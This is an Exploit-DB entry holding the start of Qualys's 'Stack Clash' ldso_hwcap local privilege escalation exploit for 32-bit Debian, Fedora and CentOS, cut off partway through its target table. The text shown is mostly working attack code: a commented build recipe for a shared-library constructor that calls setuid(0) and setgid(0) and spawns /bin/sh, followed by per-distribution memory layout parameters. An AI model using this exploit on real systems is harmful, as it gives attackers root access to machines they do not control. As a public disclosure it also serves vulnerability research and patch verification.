Exploit-DB #42274
Description: Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap Stack Clash' Local Privilege Escalation
Type: local
Platform: linux_x86
Date: 2017-06-28
Author: Qualys Corporation

Exploit:
/*
 * Linux_ldso_hwcap.c for CVE-2[PII_REDACTED], CVE-2[PII_REDACTED]
 * Copyright (C) 2017 Qualys, Inc.
 *
 * my_important_hwcaps() adapted from elf/dl-hwcaps.c,
 * part of the GNU C Library:
 * Copyright (C) 2012-2017 Free Software Foundation, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/**
cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
    __asm__ __volatile__ (
    "addl $64, %esp;"
    // setuid(0);
    "movl $23, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    // setgid(0);
    "movl $46, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    // dup2(0, 1);
    "movl $63, %eax;"
    "movl $0, %ebx;"
    "movl $1, %ecx;"
    "int $0x80;"
    // dup2(0, 2);
    "movl $63, %eax;"
    "movl $0, %ebx;"
    "movl $2, %ecx;"
    "int $0x80;"
    // execve("/bin/sh");
    "movl $11, %eax;"
    "pushl $0x0068732f;"
    "pushl $0x6e69622f;"
    "movl %esp, %ebx;"
    "movl $0, %edx;"
    "pushl %edx;"
    "pushl %ebx;"
    "movl %esp, %ecx;"
    "int $0x80;"
    // exit(0);
    "movl $1, %eax;"
    "movl $0, %ebx;"
    "int $0x80;"
    );
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h
**/

#define _GNU_SOURCE
#include <assert.h>
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define MALLOC_ALIGN ((size_t)8)

#define MMAP_BASE ((uintptr_t)0x40000000)
#define MMAP_RAND ((size_t)1<<20)

#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)

#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)

static const struct target * target;
static const struct target {
    const char * name;
    size_t memalign_up;
    size_t nsystem_dirs_len;
    size_t sizeof_system_dirs;
    const char * repl_lib;
    int ignore_lib;
    int ignore_origin;
} targets[] = {
    {
        .name = "Debian 7 (wheezy)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Debian 8 (jessie)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Debian 9 (stretch)",
        .memalign_up = 2 * PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Debian 10 (buster)",
        .memalign_up = 2 * PAGESZ,
        .nsystem_dirs_len = 4,
        .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
        .repl_lib = "lib/i386-linux-gnu",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Fedora 23 (Server Edition)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Fedora 24 (Server Edition)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "Fedora 25 (Server Edition)",
        .memalign_up = 2 * PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "CentOS 5.3 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 1,
        .ignore_origin = 0,
    },
    {
        .name = "CentOS 5.11 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 1,
    },
    {
        .name = "CentOS 6.0 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,
        .ignore_origin = 0,
    },
    {
        .name = "CentOS 6.8 (Final)",
        .memalign_up = PAGESZ,
        .nsystem_dirs_len = 2,
        .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
        .repl_lib = "lib",
        .ignore_lib = 0,